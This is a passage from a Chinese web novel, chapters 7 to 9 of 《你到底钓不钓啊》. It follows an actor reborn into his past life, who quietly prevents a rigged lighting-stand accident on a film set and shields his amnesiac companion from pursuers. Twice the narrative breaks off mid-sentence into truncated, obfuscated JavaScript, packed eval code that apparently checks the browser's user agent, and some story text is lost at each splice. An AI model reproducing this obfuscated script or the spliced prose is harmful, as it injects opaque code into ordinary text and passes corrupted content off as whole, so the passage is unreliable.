《你到底钓不钓啊》 7. 第七个鱼钩 剧组的盒饭都是有数的,每天做好之后,从绥县县城的餐馆里送过来,沈西辞提前找供盒饭的老板,加钱额外做了一份。 盛绍延和蓝小山一起去取午饭,老板把两个叠在一起的一次性餐盒递过去,稀奇地打量盛绍延:“原来就是你呀!” 蓝小山正在旁边保温箱里找卖相比较好餐盒边缘没漏油的,一听这话,立刻往前走了两步,自觉担起保护盛绍延的责任,警惕地接话:“老板,什么原来?你认识我大哥?” “不吃蒜啊,你跟的那个演员,在电话里强调了五六遍别放大蒜,蒜汁也不行,说是对什么大蒜素不耐受。”老板指指盛绍延手里的餐盒,“竟然还真有对大蒜这玩意儿过敏的人,我可注意了,连蒜末都没溅进去一点!” 心下一松,蓝小山还以为这个老板知道沈哥他们两个有秘密关系了呢,原来就这点事儿,又忍不住暗暗感叹了一遍,这位哥在沈哥心里的地位可真高啊! 他赶紧道谢:“谢谢老板啊,这么细心!” 老板大方地摆摆手:“不谢不谢,给了两倍的价钱呢!” 往回走,蓝小山唏嘘:“哥,沈哥对你真好,他自己从来都舍不得花钱另外加菜,竟然愿意用钞能力,让老板单炒一锅不放蒜的。” 在心里把盛绍延的重要程度又往上提了提,蓝小山努力表达自己的重视程度,“等会儿回去了,我再给你喷喷驱蚊喷雾!争取叠出防蚊五层护甲!” 刺鼻的五层护甲也只换来了心不在焉的一声“嗯”,盛绍延心情有些复杂,他试图回忆沈西辞不吃什么,但半点浅薄的印象也没抓住。 或许是因为没了记忆,但盛绍延觉得可能性更大的是,以前的他根本没在意过沈西辞喜欢吃什么,不喜欢吃什么。 午饭时间,不少人都从领盒饭的地方往回走,有人闲聊:“你看到没,狗仔抖了个大料,把温雅歌上个月跟小鲜肉男模约会的照片发出来了!啧啧,没记错的话,她上个月是因为生病要住院,才离组的吧?就那么几天,都私会了一波?” 蓝小山竖着耳朵听了听,小声跟盛绍延说:“嚯,温雅歌?我们这电影的女一!据说她联系人列表里,随随便便都有一百五十个帅哥,横跨各个年龄段,什么风格都有!” 工作人员发出社畜的哀嚎:“每次跟组都要去半条命,我也好想进温姐的后宫,我不想工作了,姐姐,饿饿,饭饭!” 旁边的人扎心:“温老师又不是高度近视,能看得上你?” “有梦想谁都了不起,一切皆有可能!” “你这种不可能,至少也得是……看看看,那种水准的!虽然看不见脸,但你看那身高,那身材,那腰,那腿,豁,极品啊!” 蓝小山朝盛绍延眨眨自己的单眼皮:“哥,他们在说你欸!算他们有眼光!” 话说出来之后,好像不太对劲,蓝小山连忙“呸”了一声,补救道,“哥我不是说你要去吃软饭啊,你一看就事业有成,年薪至少百万起步!” “没关系。”根本没有工作,整天游手好闲,且正在吃软饭的盛绍延,默默将黑色口罩往上拉了拉。 沈西辞换了衣服过来,在塑料凳坐下,见盛绍延餐盒里的饭菜已经快吃完了,说明还算合口味,他才转过去问蓝小山:“小山,下午我的戏几点开始?” 蓝小山前一天晚上就把通告单上和沈西辞有关的都背了一遍:“三点十五开始,哑巴少年跟村长说话那段,我之前去看过,道具组真牛,村子建得已经很好很逼真了,村长家里更厉害,里面布置跟真有人住一样!” 沈西辞打开盒饭,等着饭菜放凉一点,顺手拿出剧本翻到要拍那一页,剧情并不复杂,但几乎都是眼神戏,编剧只笼统地写了“躲闪”、“迟疑”之类的几个词,难度并不小。 “小山,你吃完了帮我对对词,我多找找感觉。” 蓝小山听见这话,正想放下筷子,旁边伸过来一只手,先一步把剧本接了过去。 盛绍延:“你继续吃,我来吧。” 蓝小山把“我吃饱了”几个字憋嘴里,立刻又把筷子稳稳地拿在手上了。 他能抢吗?他肯定不能抢啊!说不定人家沈哥想对词的人本来就不是他,不错不错,他可真是个懂事的助理! 见盛绍延拿着剧本,眼前这画面一时和记忆中的场景出现了重叠。 上一世,没进组的时间里,跟他对词的基本都是盛绍延。 有时候是在他家或者盛绍延家,还有的时候是在盛绍延办公室里,这人简直就是背台词机器,基本看一遍就能把几页的词全记住,一边开视频会议或者看文件报表,顺便就能跟沈西辞把台词对了。 满分对词工具人,不用白不用。 沈西辞原本还在发愁,明天没什么借口再把盛绍延带片场来,现成的理由不就有了? “阿绍,明天也有我的戏,你也一起来片场陪我对对词,好吗?” 蓝小山安安静静干饭,心里超大声说“好好好!必须好!”同时又把一眼看穿事情表面的自己夸了一遍。 盛绍延没有问为什么不让助理帮忙对词,只回答:“好,我跟你一起。” 反正他都游手好闲。 “谢谢阿绍,”沈西辞凑过去,指着剧本给盛绍延讲解,“荧光笔画出来的是我的神情和反应,你就念村长的台词,不用带上情绪,正常念就可以。比如这里,‘村长堂屋,春,日,内。哑巴少年面部特写。村长点亮松明,代替油灯来照明。’这些念不念都行,空镜都不用念。” “松明是什么?” 沈西辞功课做得很足:“松明就是深山老林里长的松树,里面有松脂,劈开成细条点燃就是松明了,当地很多村民为了省钱,会用来照明。” 觉得有点痒,沈西辞说着,无意识地摸了摸自己的耳垂。 他挂着的耳坠下戏就已经取了,耳洞才打,耳坠戴久了有点发红,像一抹釉里红在白瓷上渲染开。 盛绍延目光在那抹红上停留了一瞬:“耳垂疼吗?” “你说耳洞?”沈西辞反应两秒,摇头,“不疼,我可能就是传说中的先天打耳洞圣体,一点都没有肿,几乎没什么感觉。” 这时,一道声音不远不近地传过来:“季叔叔,你可别不信,我算命真的很准的!” 沈西辞望过去,许令嘉应该才在B组那边拍完动作戏,脸上的妆还没卸,他拦住造型组长老季的路,语气里带着亲近。 老季本来吃完饭准备去睡个午觉,凌晨四五点就开拍,谁来都熬不住。但许令嘉都堵他面前了,要是抬脚就走,显得太不给面子了。 而且许令嘉吧,虽然被家里长辈宠着长大,有点太顺风顺水了,但小少爷嘛,底子不坏,每次都“季叔叔”地喊,嘴挺甜的。 找了把蓝色塑料椅坐下,老季点点头,当陪少爷过家家:“来吧,看手相看面相还是看八字星盘?” 正好是剧组的吃饭时间,没有拍的时候那么忙,副导管得也不严,一说算命,不少人都过来看热闹。 许令嘉对这个效果很满意,特别是发现沈西辞也正朝这边看,心里终于舒服了一点。 他昨天晚上躺在床上,勉强压着气愤和嫉妒,仔细想了一番,沈西辞演戏之所以能一条过,不就是因为长得好看,更符合导演的审美吗?不过,这场戏能一条过,不代表每场戏都能一条过,何况等电影上映之后,这些只看脸的人就会知道,沈西辞是这部电影里最大的败笔。 他跟沈西辞比起来,也就是长相的区别。 一想到这一点,他心里就暗恨,他的亲生父母为什么不是程凝雨和许原晋,为什么是两个又穷又丑的乡下人。那个老女人手上全是硬茧,脸上的皱纹多到让他恶心,还让他的外貌比不上沈西辞。 但没关系,他已经彻底想清楚了,他都已经是天选之人,是能预知未来的人,他能做的事实在太多了! 把梦里的情景按照时间线,仔细回忆了一遍,许令嘉找到了一个不错的契机。 “八字和紫微星盘什么的太程式化了,我不算那个。”许令嘉眉眼都是自信,“我学的看面相!” 老季见他这么有信心,来了点兴趣,手抹抹自己的脸:“那你看出点什么了没?我今年能发大财吗?” 周围几个人都笑起来,造型助理笑得最大声:“季叔,庸俗了啊!” 老季挑眉:“对,钱太俗气了,我愿意替大家多沾点!” 许令嘉装作仔细地打量了两遍老季的脸,收了笑容,语气严肃地开口:“季叔叔,您这面相不太好啊,我……不敢说。” 老季没太在意:“你说,我不生气。” 许令嘉为难道:“我看出来,您明天中午之前,必定会遭遇血光之灾,虽然性命无碍,但不是断手就是断腿。” 周围一静,片场这地方总会带点玄学,连来这山里拍戏,万导都带着人先祭了土地山神,说了声“叨扰”,许令嘉这话说的太重了,听着总有点不吉利,像在诅咒人一样。 老季表情微变,又笑起来:“行,你季叔叔我肯定注意着!” 见沈西辞一直朝那边看,蓝小山也奇怪:“那个许少爷什么时候会算命了,沈哥,你要是也想算,我去帮你打听打听哪个大师比较准!” “我满月的时候就算过命了,那个算命先生挺准的,不用再算了。”沈西辞收回视线,“我只是在想,他怎么这么笃定自己算命一定能算准。” 沈西辞吃了两口青菜,忽地抓住了脑子里掠过的一个片段。 上一世,他有一天来片场时,恰好看见副导演订了一头烤乳猪,正带着几个人一起把烤乳猪摆案上。旁边有人在讨论,说前一天有个灯光架倒了,砸到了工作人员,烤乳猪就是拿来供神,祈求保佑拍摄顺利,大家都别再出意外的。 从许令嘉说的话来看,被砸伤的应该就是老季,伤势还很严重。 下午,沈西辞两点进化妆间,三点到了道具组搭出来的村子里,站到了村长的家门口。 石头和硬土堆砌成矮墙,屋顶是瓦片,瓦缝里冒出的野草还开着小小几朵花,门口挂着成串的澄黄玉米,山里打的野味被腌制成腊肉挂在屋檐下,墙边还立着一根没来得及吃的芭蕉芯。 白袍蓝裤的哑巴少年立在门口,静静站了两秒,才抬脚走了进去。 屋内昏暗,老村长背微驼,布满干茧和裂口的手拿出火柴,“呲”一下划出火苗,点燃了铁质灯座上的松明。 他语气温和,斜了哑巴少年一眼:“怎么不坐?” 哑巴少年垂下眸光,站在原地没动。 “都来村子里几年了,还这么客气?我记得当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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浓郁的花香味混着烟味笼罩过来,细跟长靴靠近,深红风衣的衣角扫过地面的几根野草,一个长发别在耳后,唇色嫣红的女人站到了盛绍延旁边。 嫌空气被污染,盛绍延眉间微皱,往旁边站了一步,视线的落点依然在屋内。 “你在看他拍戏?” 一道女声响起,盛绍延看向旁边,见一个女人裹着长风衣,手指间夹着一根细长的女士烟,正仰着头,眼波带笑地望着自己。 不认识。 盛绍延移开眼。 “沈西辞虽然是新人,但演技确实不错,演村长的何匀礼老师是出了名的老戏骨,跟他对戏,压迫感很强,很容易忘词,但沈西辞连何匀礼老师的眼神戏都全部接住了。”女人吐了口薄荷烟,话锋一转,“可这个圈子,想从底层爬上去,实在太难了,有人捧倒还好,沈西辞这样的,没人没钱没背景没公司,不会有什么未来。” 她挑起描画精致的眉:“我是温雅歌,你该不会没认出来吧?” 这个名字盛绍延不久前才听蓝小山提起过,这部电影的女一。 还是不认识。 见盛绍延表情冷淡,温雅歌反而被激起了一点征服欲。 轻轻点了点烟身,温雅歌漫不经心道:“你是他男朋友吧?” 盛绍延第一次正眼看她:“为什么这么说?” “这很难看出来吗?”温雅歌手指捋过被风吹乱的头发,双眼里的暧昧像蜜色的糖丝,“你长的就不是一张安分的脸,你既然通过沈西辞,找到机会来片场,肯定清楚自己的条件有多好,好到轻轻松松就能赚大把的钱。” 想起中午那一瞥,温雅歌到现在都还残留着惊艳感。 “你这么聪明,肯定知道,跟着沈西辞这样的人,可没有什么前途。” 掏出嵌着锃亮logo的皮夹,温雅歌从里面掏出一张顶级餐厅的贵宾卡,“我不嫌弃你跟过男人,等回宁城后,去吃点好的吧,尝尝里面的招牌菜,Gambas al Ajillo,别眼界那么浅,几十块钱的盒饭就把你打发了。” Gambas al Ajillo,盛绍延觉得奇怪,他竟然听懂了,蒜香野生红虾。 盛绍延没有接,言简意赅地拒绝:“我对蒜过敏。” 同时在心里想,拐了好几道弯,才终于说明了自己的来意,这个说话水平,毫无重点,如果是来找他汇报工作的,早在几分钟前就已经被辞退,拿着私人物品和赔偿款滚蛋了。 温雅歌没想到自己竟然会被拒绝,她也不恼,耐心地问:“为什么?他不能给你的,你都可以从我这里得到。他一个新人,听说家庭条件也不好,一个月能给你多少钱,还是说,他能给你什么好机会?” 盛绍延想到退了的那把椅子和沈西辞卡里的余额,虽然沈西辞确实穷得超出了他的认知,但单从风险规划上来说,吃两碗软饭,容易翻船。 长得好看的男人值得更多的耐心,更别说这种极品,温雅歌缓下语气,循循善诱: “沈西辞盯你盯这么紧,不放心到恨不得把你拴身上,拍戏就那么几分钟的空隙,他除了看镜头看导演就是看你。他是不是早上啰嗦你加衣服,你出门叮嘱你注意安全,还有什么多喝水少熬夜,但你还年轻,不知道藏在几十块钱盒饭里的关心,有多么廉价。” 温雅歌不知道想起了什么,薄荷味的烟雾里,她勾着眼线的眼底浮起两分不屑,以一种看穿人心的语气,“他多半也知道,他留不住你,只好给你提供这种廉价的关心,想让你心软。” 她眼风一扫,故意用难以置信的语气:“你不会真的心软了吧?” 盛绍延看着方形小窗里透出的人影。 除了看镜头,就是在看他吗? 8. 第八个鱼钩 第二天上午,末日蒸汽朋克废土风的摩托车停在一棵枝叶繁盛的榕树下,沈西辞正在就地取材,挑选他的演奏乐器。 “平整光滑没有锯齿……”嘴里念叨着选叶子的标准,沈西辞又嘀咕,“幸好这棵树够大,不然要是被我薅秃了,多于心不忍啊。” 话是这么说,他三两下就摘了二十几片在手里,满满一大把。 阿婆九里十八寨吹叶子最强者的名头确实不是白得的,谁能想到,吹个叶子,除了音阶和上下滑音、颤音叠音波音外,竟然还有气震音、单双吐音和赠音这种高端技巧。 也不知道他这一把叶子够不够他练。 “我预感我拍完哑巴少年的戏,都能去哔站发个吹叶子的教学视频了。”回到摩托车边,沈西辞看向黑色休闲裤配同色系拼接袖撞色卫衣,站在车边耐心等他的人,“阿绍,今天你来骑车?我抓紧时间,把昨晚阿婆教我那几个技巧练练。” 看看缠了几圈麻布的简陋车把手,盛绍延直觉自己从来没开过这种摩托车,但沈西辞语气太理所当然,说明他失忆之前,肯定是会骑摩托车的。 “好,我来吧,你坐后面。” 盛绍延长腿跨过座椅,等沈西辞也坐好后,手指握住离合手柄,按下按钮的同时,左脚尖轻勾换档。 肌肉记忆依旧存在,不需要他怎么思考,摩托车就已经动了起来。 不过,不太对劲,这车不仅矮,还太慢。 盛绍延潜意识里,总觉得启动后的第一秒,摩托车就会如同离弦的箭一般疾驶而出,而现实里,这车只慢吞吞地开出了几十米远的距离。 在后面看见盛绍延换档后,身体就习惯性地俯身,下沉重心,双腿肌肉绷紧,沈西辞下意识觉得要糟。 上一世,盛绍延开的那辆铬钼钢加钛合金,幽灵灰定制版奥古斯塔超跑摩托车,坐高接近一米,仿佛钢铁机械巨兽般,巴掌大的零件都透着一股极致的工业设计美学,三秒就能提到时速100公里。 沈西辞也不确定,这一波到底是委屈了盛绍延还是委屈了破摩托,他赶紧拍前面人的肩膀,在风里大喊:“别加速!克制克制!你敢加速,这车就敢给我们表演原地散架!它承受不住的!” 刚准备提速的盛绍延又被预判了,只好憋屈地把时速吊在四五十码的位置。 两旁的景色不断往后退,沈西辞手里拿着一大把叶子,实在不怎么方便,他今天只穿了一件蓝色绞花针织衫,没有口袋,想了想,干脆把叶子全放进了盛绍延卫衣的帽子里。 如此机智! 朝后视镜里看了一眼,盛绍延移开视线,没说什么。 把盛绍延当挡风玻璃,避着风,沈西辞挑了片形状标准的叶子,放到唇间,“呜——” 盛绍延握着车把的手一滞。 虽然沈西辞拍戏时吹的小调很好听,但每次从0开始练新技巧时,纯粹的灾难现场,非常刺激耳膜。 载着噪音发源地,一直到把摩托车停到片场旁边,耳朵才终于又安全了。 蓝小山跑过来,握着驱蚊喷雾朝两个人狂喷,今天山里风很大,雾一喷出来就被吹没了,蓝小山又赶紧补了好几下。 沈西辞憋着气,怕自己吸几口就会被这个浓度毒死,等喷完了往里走,他才开口问:“季组长怎么样?受伤了吗?” 盛绍延戴着渔夫帽和黑色口罩,兜着一帽子的树叶走在旁边,听见这句,轻轻看了沈西辞一眼。 蓝小山摇头:“没有啊,我刚还看见季组长从导演那里出来,健步如飞,胳膊腿完完整整的,一根都没少!我还听季组长的助理在安慰他呢,说许小少爷要是算这么准,还来拍什么戏呀,直播算命,日进百万不香吗?” “那就好。” 不过,被蓝小山说的话一提醒,沈西辞忽然想到,他重生的这一个星期里,拍戏,揣摩新角色,学吹叶子,再加上一个盛绍延,他基本没怎么注意许令嘉。 到现在为止,就他知道的,许令嘉做了三件事,一是跟他换了角色,一是用什么办法隐瞒了卓素丽当年换孩子的事,还有一个就是预言老季会受伤。 许令嘉身在许家,从小就在这个圈子里,相关的方方面面,不管是公开的还是没公开的,重生后,未来的很多消息他肯定都知道,可许令嘉似乎有点太安静了。 许令嘉提前吃了午饭才到的片场,他挂断电话,耐着性子等助理给他手臂上的蚊子包涂消肿的药,对这深山老林实在没什么好感。 这地方离县城很远,每次盒饭送过来都倒冷不热的,他刚刚在电话里又提了一次,想让家里找个厨师过来,在保姆车上给他做饭,但他妈和干妈都不同意,说组里只有男一钟岳带了厨师,连温雅歌都是一起吃的盒饭,他不能太高调了,容易得罪人。 这也不行那也不行,许令嘉心里烦得要死,走了几步,见山里风大得差点把他助理的帽子吹飞,这风不错,他昨天给老季算的命应该已经应验了,想到这里,他心情又好了一点。 他太懂圈子里这些人的心理了,只要一次应验,他就能获得周围人的另眼相看,再多应验两次,那就不只是感激和推崇,无数人会把钱和机会都捧到他面前来。 远远有个人戴着鸭舌帽脚步匆匆,许令嘉第一眼没太在意,等那人走近了一点,他眉头一皱:“季叔叔?你怎么没在医院躺着?” 老季脚下的步子一顿,心下有点不悦。 昨天那句话谁听谁膈应,但勉强能说是好心提醒他注意安全。 今天这话又什么意思?怎么,自己没在医院躺着他还失望上了? 但在片场混了这么些年,老季早就知道对着什么样的人说什么样的话,再怎么不高兴,许令嘉背后还有对出名的父母和人脉广钱也多的干妈,他神情语气没显出半分:“我平平安安,又没出什么事,去医院不是挤占别人医疗资源吗?” “平平安安?怎么可能?”许令嘉脸色一沉,是哪里出了问题?他转身就走,助理在后面喊:“许老师,要到你化妆了!” 化妆?这些根本不重要,许令嘉现在只有一种强烈的恐慌感,让他连呼吸都发紧。 他很确定,梦里,老季就是今天上午被倒下来的灯光架砸伤的,因为当时他就在现场,记得清清楚楚,老季的左腿流了很多血,直接被送去了医院,后来出院以后,到这部电影上映,走路都还有点跛。 那个灯光架怎么可能没倒? 如果没有倒—— 那是不是意味着,他的梦,就只是一场梦而已,是假的,他根本就不是被命运选中的人,不是最特别的那一个,而是像上辈子嘲笑他的那些人说的那样,他许令嘉,不过是两个普普通通又穷又丑的乡下人生的,脱了装腔作势的凤凰毛,就变回山鸡的假少爷而已? 不,他不能接受! 手无端颤栗起来,许令嘉捏紧手指,快步绕过一大堆杂乱的拍摄器材,差点撞上正好往里走的沈西辞。 下唇抿紧,许令嘉盯着沈西辞几秒,扭头快步走开,去了A组的拍摄场地。 应该倒下来的灯光架,还稳稳地立在那里。 到底出了什么问题?许令嘉盯着那个几米高的金属灯光架,为什么没有倒?为什么? 他发狠地冲上去,手扶着灯光架摇晃了几下,三脚立着的支架,几米高,确实晃了晃,但完全没有要倒的样子。 旁边灯光组的人正在调试打光,被吓得大喊:“哎哟我的祖师爷爷,别摇别摇!灯要摔了!真要摔了!” 许令嘉咬紧牙帮,松开手,蹲下去仔细打量这个灯光架。 为了防止灯光架太高,支撑的灯光设备又很重,灯光组都会用C型夹和登山扣把沙袋固定在灯光架的横杆上,离地面一段距离挂着。 现在这里的沙袋加起来,是五十公斤的配重,稳稳固定着灯光架。 不对。 许令嘉伸手抓了一把,发现地面的草隙间,铺着厚厚一层沙,显然,沙袋跟梦里一样,缝合线磨损崩开了,里面的沙漏出来,沙袋变轻,加上风大,根本压不住灯光架。 但挂着的那个沙袋还好好的,一个漏口都没有。 他的梦是真的!大起大落的狂喜涌上来,许令嘉站起身,厉声问:“是谁把这里的沙袋换了?” 周围不少人都看着他,一道视线从身后刺来,许令嘉回头才发现,老季跟着他一起过来了,就站在几步开外,抱着手臂,脸色难看地盯着地上的沙。 “季叔叔,我——”许令嘉心里跳快了一拍,意识到,他不该直接来看灯光架的情况,但他转念一下,不过就是一个剧组民工,真得罪了又怎么样?姓季的还能动他不成? 叫一声“季叔叔”,不过是因为他从小就知道,嘴上喊得好听点,能得到更多好处而已。 能在剧组,特别是万山导演这种大导的剧组里混下去的,脑子都转得不慢。 虽然不知道许令嘉凭什么断定,被砸的会是季组长而不是别人,但把眼前的情景和昨天的算命结果连一起,懂的就都懂了。 蓝小山跑到化妆间,见等化妆师过来的空隙里,沈西辞正和盛绍延对词,他一点憋不住话,气喘吁吁:“卧槽!” 发现自己声音太大,他立刻捂捂嘴,把音量压下去,先快速描述了一遍自己看见的,接着道,“许小少爷这是提前就知道那个灯光架的沙袋漏了,配重不够架子会倒,季组长会到那里去,所以昨天他才断定季组长今天会断手断脚血光之灾?这、这——” 他拍拍胸口,不理解:“他图什么啊?他和季组长关系不是挺好的吗?” 沈西辞递了瓶矿泉水过去:“他图什么又不关我们的事,灯光架没倒就好。” 蓝小山正好跑渴了,灌了几大口水:“也是,那个灯光架又高又沉,上面挂着的镝灯重得很,要是真砸下来,地上不得陷个坑?” 盛绍延对那个挂镝灯的灯光架还有印象,昨天片场收工后,工作人员都跟着剧组安排的车回县城了,沈西辞却仔细把组里的灯光架全都挨着检查了一遍。 蓝小山说到的新沙袋,还是他看着沈西辞挂到横杆上的,他想帮忙,被沈西辞一句“伤口要是裂了你觉得我会不会生气”给定在了原地。 可能是注意到他的视线,沈西辞偏过头,明亮的化妆镜前,沈西辞穿着纯白的土布袍,耳边蓝色晶石做成的耳坠随着动作晃了几下,手指竖在唇边,快速朝他做了一个“嘘”的动作。 盛绍延捏着剧本,点头配合了。 天色擦黑,回到绥县县城后,沈西辞先去找楼下卖水果的阿婆汇报练习成果。 阿婆眼尾皱纹里盈满了笑意,夸他:“哎哟,阿弟不仅文采好,学东西也快哦,你契兄真是好福气!” 上次盛绍延问他“契兄”是什么意思,沈西辞说是结义兄弟的意思,敷衍过去了。但可能是心虚,沈西辞一听见这个词,尽管阿婆是用方言说的,他还是不由地快速朝盛绍延瞥了一眼。 没想到正好对上了盛绍延看过来的视线。 他看我干什么? 疑问刚浮上来,沈西辞手里就被阿婆塞了一把新鲜龙眼:“拿去和你契兄分着吃,很甜的,尝尝!” 龙眼滚圆,沈西辞手忙脚乱地捧好,笑意在左边酒窝里荡开:“谢谢阿婆!” 天气不冷不热,两个人没有马上上楼,而是顺着县城并不宽敞的街道,没什么目的地散着步,顺便把龙眼分了分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这件事其实不该他过问,盛绍延和谁结交是他的自由,但鉴于盛绍延现在没有记忆,脑子崭新崭新的,像张白纸,至少这一个月里,他还是要护着点。 “对,她想请我吃饭,我拒绝了。”盛绍延从昨天开始,一直在等沈西辞来问他这件事,没想到沈西辞过了这么久才提起。 沈西辞打量盛绍延那张过于英俊的脸,在心里“嘶”了一声,昨天才是去剧组的第一天啊,果然,太花容月貌的男人,藏都不好藏,他问:“还有吗?” 把温雅歌说沈西辞盯他盯得很紧的话掩下没说,盛绍延只回答:“她还问我要不要进娱乐圈,我也拒绝了。” “嗯,她那个性格,被拒绝了一次应该就不会再来找你了。” 盛绍延眸光一动:“你很了解她?” “听说过而已。”沈西辞当然不能说上一世自己跟温雅歌合作过一次,“据说她人不错,谈恋爱期间她都很专情,不劈腿,漏资源也很大方。只是喜新厌旧,分手分得很快,所以看起来男朋友很多。” 这是在试探他吗? 想起昨天早上,沈西辞那句他的脸很招人,盛绍延沉默两秒,开口道:“放心,我不会喜欢她的。” 放心?我放什么心? 沈西辞脚跟落在路面上,刚想问,余光不经意间看见转角处走出来两个人,一男一女,赫然就是前天晚上,他在水果摊镜子里看到的那四个人中的两个。 两天了,他们竟然还没有离开绥县,难道是发现了什么,所以一直不死心,仍然试图在这周边搜寻盛绍延的踪迹? 水果摊的阿婆和房东误会他们是契兄弟没什么坏处。 这条路沈西辞算不上很熟,但也走过几次,他不动声色继续退着走了几步。 那两个人似乎看到了他们,低头交流了两句,期间,其中一个人的视线一直落在盛绍延背上。 往后退的脚跟一顿,沈西辞忽然伸手,握住盛绍延的手臂,一拉,闪身进了一旁的窄巷里。 小楼之间的间距很窄,将盛绍延按在墙上,沈西辞仰起脸的同时,手抓着盛绍延的领口往下拉,呼吸错开,他贴在盛绍延耳边:“阿绍,抱着我。” 说话的同时,沈西辞眼尾余光注视着巷口,眸色微冷。 陈年的青苔铺满墙根,盛绍延背贴着冰冷粗糙的墙面,周围昏暗,疾驰而过的摩托车灯光一闪而过,他垂下眼,恰好看见沈西辞瓷白的耳垂上,银色的耳钉反射出冷光,颤了颤,瞬息即灭。 隔着衣料与他紧紧挨着的人,和平时不同,似乎有点紧张,呼吸比平时快,声音也更重,连尾音都带着颤意。 盛绍延想,他只是说了一句浅浅的承诺而已。 不,甚至连承诺都不算。 沈西辞,你喜欢谁不好,为什么偏偏会看上他这种铁石心肠、利益至上的人。 付出更多的那一个,反而更容易被辜负。 几息后,盛绍延抬起手,将人抱在了怀里。 他不知道失忆之前,他有没有这样抱过沈西辞,此时此刻,他只觉得属于另一个人的气息突破了他领地的藩篱,被他拢入掌中。 沈西辞在他怀里动了动,呼吸声更重了一点,盛绍延环着清瘦脊背的手安抚地拍了两下,另一只手则扣在沈西辞后脑的发间,眸中的幽蓝弧光深不见底。 巷口明亮处,被外面的路灯拉长的人影靠近,脚步声碾碎了积水的浅坑。 说话声由远及近,伴随着“是不是这里”“看看再说”的低声话语。 和平日不同,盛绍延第一次听见沈西辞嗓音里淬着凌厉与警告:“看什么,滚。” 9. 第九个鱼钩 长期保持早睡早起习惯的后果就是,尽管今天没有沈西辞的戏,不用去片场,他依然八点就醒了。 不想出卧室,沈西辞盯着被刷得雪白的天花板,在脑子里想象这个时间,住在山林里的哑巴少年,应该刚从溪边回来,晨雾下,他手里用草茎提着一条活蹦乱跳的鱼,年纪尚小的妹妹朝他跑过来时,他会笑着从身后拿出一把沾着露水的野花。 他演戏不是科班出身,大学的专业更是和演电影半毛钱关系都没有,面对一个角色,他尽可能地去代入,想象如果他就是这个人,会有什么样的想法和过去,在碰到不同的人、遇见不同的情况时,会是什么样的动作和表情。 好在,他从小就会去观察和揣摩周围的人,模仿别人的反应。 平时,他代入都很快,很容易就会陷进角色的世界里,但今天,思路总是不由自主地走偏。 昨天晚上情况紧急,除了装野鸳鸯小情侣,他实在想不到更好更有效的办法。至少,稍微知道一点盛绍延情况的人,都绝对不会相信,盛绍延会在绥县这种偏远小城里跟人同居谈恋爱。 但是。 沈西辞翻了个身,脸埋在绵软的枕头里,散乱的发间露出的耳朵有点红。 他想起自己昨天靠在盛绍延肩上,故意提高音量喘的那两声—— 虽然盛绍延好像没发现他是在喘,虽然等那两个人走后,从窄巷出来,盛绍延也没有深究为什么他突然把他拉进暗处,突然要他伸手抱他。 但,世界毁灭吧,太羞耻了! 在卧室里做了好一阵心理建设,沈西辞才打开门出去。 客厅里,不知道房东多少年前买的壁挂小电视上,正在播港岛电视台的财经新闻。 就算失忆,一个人的习惯也改变不了,比如这么多个频道转了几圈,什么电视剧综艺节目,最后盛绍延的爱好竟然还是财经新闻。 屏幕上,一个穿着红色西装的女主播面向镜头:“……明诚基金董事长盛聿璟因涉嫌伪造账目、隐瞒巨额税务漏洞,并通过离岸公司转移资产,于三月二十二日下午十六时,被京市检察机关依法拘留。” 画面一转,高耸入云的玻璃写字楼前,一个穿黑色西装的中年男人被执法人员簇拥着走下台阶,女主播的声音在画外响起:“按照相关资料显示,明诚基金董事长盛聿璟与著名跨国集团TGS董事局副主席、执行总裁盛绍延,同为盛氏家族成员,从股权构成上看,明诚基金为合资基金公司,该公司9%的股权由TGS盛合集团持有,……” 沈西辞对这个名字没什么印象,既然没印象,那多半就是盛绍延他二叔的人,在他上一世和盛绍延认识之前,就已经被盛绍延弄进了监狱里。 这个叫盛聿璟的人被抓,估计是盛绍延在出事之前埋下的雷爆了的结果。盛家二叔捅了盛绍延一刀,盛绍延也毫不留情地捅了回去。 不过,沈西辞看了坐在沙发上的男人一眼,这失忆失得可真够彻底,新闻上都念他的大名了,竟然一点反应都没有。 “林副总,请问盛总会对盛聿璟被拘留这件事袖手旁观吗?” “林副总,据说盛总已经多日未出席董事局会议,是不是像传闻所说,盛总病重,回天乏术?” 沈西辞看回电视屏幕,身着黑色高定套装,妆容淡雅的女人十分眼熟,原来林月疏现在就已经是亚洲区高管了? 高跟鞋踏在大理石地面的“嗒嗒”声停下,林月疏被一众记者围攻,声线依然平稳:“盛聿璟先生?盛聿璟先生虽然对外宣传自己是盛氏家族的成员,但论血缘,和我的上司盛绍延先生已经隔了很远,两人并不认识,又何来袖手旁观?至于持股,这么小的份额,对盛合来说,只能叫零散股票,远称不上持股。” 她精确地望向另一个提问的记者:“谢谢你对盛先生的关心,因为长期高强度工作,过于疲劳的原因,盛先生正在瑞士休养,我想,他在雪山下骑马时,并不希望听见有人说他回天乏术。” 看了眼正在出租屋的破沙发上休养的盛绍延,沈西辞特意说道:“阿绍,这个人应对记者很厉害,她老板肯定给她开了很高的工资。” “嗯,”盛绍延没什么兴趣地点了点头,“还不错。” 真的半点印象都没有? 沈西辞又故意道:“我总觉得这个人有点面熟,像在哪里见过。” 上一世,林月疏是很得盛绍延信任的下属之一,后来杀出重围,被盛绍延钦定为亚太区负责人,实打实的左膀右臂。 显然,过于疲劳在瑞士休假,就是对于盛绍延这一次遇袭失踪,放出来的官面理由。 只要一天没确认盛绍延真的死了,那盛家二叔就不敢彻底掀翻棋盘。 还有三个星期。 “上次看的财经新闻里也有她,在参加一个会议,你还记得?”盛绍延没有继续看,回答的同时,拿遥控器换了一个频道,电视开始播广告。 目光落在盛绍延握着黑色遥控器的手上,不知道怎么的,又想到昨晚这双手贴在自己发间和背上的温度。 别开眼,沈西辞随便拿了个芒果在手里,喉结动了动:“阿绍,其实——” “嗯?”盛绍延转过头,半长的头发才洗过,没有怎么打理,细碎地遮在眉骨上方,一双眼像深蓝的海面,安静又耐心地看着他,等着他的下文。 